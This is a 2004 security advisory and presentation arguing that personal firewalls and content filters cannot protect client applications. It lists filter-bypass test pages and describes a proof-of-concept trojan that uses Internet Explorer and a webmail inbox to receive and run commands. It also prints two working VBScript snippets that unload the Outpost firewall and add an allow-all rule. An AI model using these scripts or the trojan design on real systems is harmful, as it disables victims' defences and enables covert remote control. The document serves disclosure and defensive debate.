Presentation: Bypassing client application protection techniques with notepad Oct 28 2004 12:55PM
3APA3A (3APA3A security nnov ru)

Topic: Bypassing client application protection techniques
Category: Protection bypass
Affected products:
CheckPoint VPN-1(TM) & FireWall-1(R) NG with Application Intelligence
(R55) HFA 9
Microsoft Windows XP SP2
Agnitum Outpost Pro 2.1, 2.5
Tiny Firewall Pro v6.0.100
ZoneAlarm Pro with Web Filtering v4.5.594
BlackICE PC Protection 3.6
Kerio Personal Firewall 4.0
WRQ ATGuard 3.2
offtopic, <offtopic (at) mail (dot) ru [email concealed]>
3APA3A, <3APA3A (at) security.nnov (dot) ru [email concealed]>
Original link:
Special thanks to Igor U. Miturin for testing and coordinating
Checkpoint issues, to Checkpoint for cooperation, to Agnitum for
"opossum" topic public debates and some ideas.


This article is neither attempt to teach scriptkiddies to write trojans
nor attempt to create one by authors. It's a call to security community
to activate discussion on protection techniques for Internet client
application security. Yes, we want to fire a flame. We apologies we did
not contacted vendors on many issues they may consider as security
vulnerabilities in their products. We believe, to solve discussed
problem instead of fixing illustrating PoCs, all products must be
architecturally changed, not patched. Before architectural change any
schoolboy with scripting skills can get access to corporate network
protected by advertised product. We share a point of view, this should
not be treated as product vulnerability.
(yes, pedram).

1. Introduction

1.1 Front end security

Last years were revolutionary for network services infrastructure
security. In addition to more secure and stable operation systems and
services, we've got a lot of industrial solutions - stateful firewalls
with level 7 inspection, intrusion detection and intrusion prevention
systems, reliable clusters and distributed solutions to fight DDoS
attacks... And we got actually nothing in the field of client
application protection. Security of client network applications, such
as browsers, mail and instant messaging agents is on the same level it
was 5 years ago, and things became worse, because these applications
are now critical for business, we can not simply stop using e-mail.

Client application security is very important, because same application
can be used to process untrusted, potentially dangerous data as well
as sensitive information.

We, as many security professionals, have a feeling industry moves to
wrong direction in the area of client application security. To
demonstrate this point of view, this article was written. We discuss
some methods of breaking into managed, protected corporate network
without any special skills. "Exploits" illustrating this article were
written with notepad.exe.

1.2 What do you use to protect your client systems against Internet

There are very few widely deployed techniques. Among them are: content
filtering on corporate firewall (including antiviral filtering) and
personal antiviruses and personal firewalls (PFW). In addition to
content filtering personal firewalls implement integrity control for
applications and system by controlling integrity of the files, blocking
access to some API functions and limiting network access to only
trusted applications.

Of cause, there are few really interesting approaches to secure client
applications, some of them are discussed later, but usually these
techniques are not generally used.

1.3 What will we demonstrate.

We will not teach you how to attack any specific client application.
Latest Mozilla experience demonstrate, security bug in client
application can always be found for approximately $500 (should we talk
about Internet Explorer? Mozilla goes with discounted price because not
demanded on zombi market). We will try to illustrate, that $500 is,
probably, all that required to get access to your network. It doesn't
depend on protection techniques listed above, because protection can be
bypassed by any schoolboy. If this protection is all you have, you have
no protection at all. In fact, iDefense makes more for community than
any PWF vendor (it's not a joke): it pays for newly discovered security
issue more than shadow market does. At least you have additional $500
to your security this way.
Problem of paid vulnerability research is not black-and-white like one
can believe. Without commercial software or commercial services
freeware would not survive, because good programmer needs money. Same
tendencies are in vulnerability research. C'est la vie. We can discuss
Full-disclosure? Who believe in it...

So, we proudly present you how to:

Bypass content filtering for corporate and personal firewall (yes,
again, and again and again).
Bypass network access protection for personal firewall
Bypass integrity protection for personal firewall or antivirus.

Above is a list of tested products. It's incomplete. Some vendors were
contacted and replied. Some fixes were published, but none of contacted
vendors was able to fix all problems discussed. We do not belive it's
possible in nearest future to prevent corporate network protected only
with firewalls, personal firewalls and antiviruses from being hacked by
the schoolboy.

2. Bypassing content filtering again and again and again
Axiom: there is always one more way to bypass content filter.

Explanation: because content filter and client application use
different algorithms for data processing, there is always data
processed differently by client application and content filter.

2.1 Configuration used

In our configuration we used content filtering features of 2 firewalls:
Checkpoint as corporate firewall and Agnitum Outpost Pro as a personal
firewall. Both firewalls were set to filter scripting and ActiveX
elements. By using few techniques described in [1] we wrote a set of
tests to attack Internet Explorer protected by these 2 firewalls (and
additionally with 2 different antiviruses) on 2 different levels to
execute javascript.

2.2 Test descriptions:

2.2.1 http://www.security.nnov.ru/files/opossum/test1.html
Problem with special characters (0x0B) demonstrated. [1].II.9

2.2.2 http://www.security.nnov.ru/files/opossum/test2.html
Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

2.2.3 http://www.security.nnov.ru/files/opossum/test3.html
Problem with RFC2781 decoding (UTF-16, big endian). [1].II.1

2.2.4 http://www.security.nnov.ru/files/opossum/test4.gif
Different approach of different clients to content type definition [1].II.13

2.2.5 http://www.security.nnov.ru/files/opossum/test5.gif
Same as 2.2.4 + exploitation of stream buffering.

2.2.6 http://www.security.nnov.ru/files/opossum/test6.html
Problem with special characters (0x00) demonstrated. [1].II.9

2.2.7 http://www.security.nnov.ru/files/opossum/test7.asp
Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

2.2.8 http://www.security.nnov.ru/files/opossum/test8.html
Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

2.2.9 http://www.security.nnov.ru/files/opossum/test9.html
Inability to catch scripting via expression(). Was described by
http-equiv (malware.com).

2.2.10. http://www.security.nnov.ru/files/opossum/test10.html
Inability to catch scripting in styles [1].II.15

2.2.11 http://www.security.nnov.ru/files/opossum/test11.mht
Inability to parse MHT files (RFC 2557)

Content filtering bypass techniques used are known for years. Outpost
failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
2.2.10, 2.2.11.

2.3 Vendors:

Both Checkpoint and Agnitum were contacted. Checkpoint covers issues
discussed in R55HFA10. 2.2.10 and 2.2.11 additionally require
disabling CSS and MHT with special settings (I do not believe it can
be accepted as solution). Agnitum fixes very few issues in Outpost 2.5
version. Please, check your own content filter before blaming Agnitum
or Checkpoint.

3. Bypassing network access restrictions with trusted application
Axiom: Malware is undistinguishable from user application

Next step after successful client application attack is usually
getting remote control on attacked computer.

Personal firewall usually restricts access to network to the list of
allowed application. In addition, integrity of these applications is
controlled to prevent code insertion into executable file. It makes it
impossible to install trojan application with direct network access.

Common idea behind bypassing this protection is using trusted
application (for example browser) to access external network. Usually,
execution flow of target application with DLL injection technique,
WriteProcessMemory(), CreateRemoteThread() or something like this. You
can find description in [1] and [2]. These methods require programming
skills, additionally, personal firewall could set a hooks to protect
against this kind of attack. Additionally, trojan application in this
case should implement almost all network functions, including
network topology discovery and proxy communication.

Additionally, access of client application can be limited only to a
list of trusted sites.

Our approach is very simple. We call it CAT (Client Application
Trojaning). We use trusted application itself without attempt to hack
into it's code..
is simple PoC application. CAT uses COM to launch and control client
application (Internet Explorer). This allows practically full access
to the IE recourses, so we can ask IE to navigate to our site, and IE
will use its proxy's and other settings. We don't need to include
http-client code in our application - IE does all work for us.

Another interesting thing - it's a work via trusted sites. In our
example Trojan uses www.mail.ru server to communicate with bad guy,
but it easy to use other trusted network services, for example
Google's proxy
Additionally almost any search system can be used as proxy with only
limitation that each iteration may require few days.

This CAT PoC works as next:

- It creates IE COM object, navigates to www.mail.ru site.
- CAT passes username and password to the site, and gets access to mailbox
- CAT sends notification message "ready" to specified mailbox
- Every 20 seconds CAT checks mailbox for messages with XXX.request
subject (XXX - integer number).
- If message appears in mailbox, CAT reads it, deletes message, and
process it's data as a batch file.
- Execution results are send to predefined account.

remove IE.Visible = true
line to run application in hidden mode.

All this great functionality lies in 100 lines of VBS. You see, Basic
can be more effective than assembler.
ILOVEYOU and another scripting viruses demonstrated application like
this can be written by 14 y.o. schoolboys. VBS can be executed from
Microsoft Office applications, Windows Explorer, Internet Explorer,

All personal firewalls tested, except Outpost 2.5 failed to detect
information leak with this script. Outpost 2.5 requires minor
modification for original script to start one additional IE instance
before launching IE via COM, script modification is set as homework.

4. Bypassing personal firewall integrity protection
Axiom: Malware is undistinguishable from user

This script unloads Outpost firewall (any version)

set WShell = CreateObject("WScript.Shell")

WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"

Another one creates a rule to permit Internet access for all

set WShell = CreateObject("WScript.Shell")

WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 100
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 10
WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
WScript.Sleep 10
WScript.Sleep 10
WShell.SendKeys "a{ENTER}"
WScript.Sleep 10
WShell.SendKeys "{F10}{LEFT}{DOWN}"
WScript.Sleep 10
WShell.SendKeys "n"


5. Final noise.
Axiom: There is no cure against unknown Malware. There are no Axioms in
client application protection.

The only way to somehow secure client application is implementing
sandbox for any application to work with untrusted data. There are
attempts to implement such sandbox without limiting it's functionality,
for example GeSWall [4](by the way this project is looking for sponsor
on investor). There are few commercial solutions of this kind, I do not
believe any of this solution provides reliable security for Internet
client application. Virtual machines for most architectures also have
known flaws. Most reliable way to protect client application for now is
creation of additional DMZ for application servers and providing
terminal access to untrusted applications inside DMZ. Configuration
example can be found in [5]. Of cause, this approach is not 100%
reliable too.

That's all.


6. Links:

[1] 3APA3A, Bypassing content filtering software
[2] Firewall leak tester
[3] rattle, Using Process Infection to Bypass Windows Software Firewalls
[4] GeSWall (General Systems Wall)
[5] offtopic, 3APA3A, "In front of front-end security"

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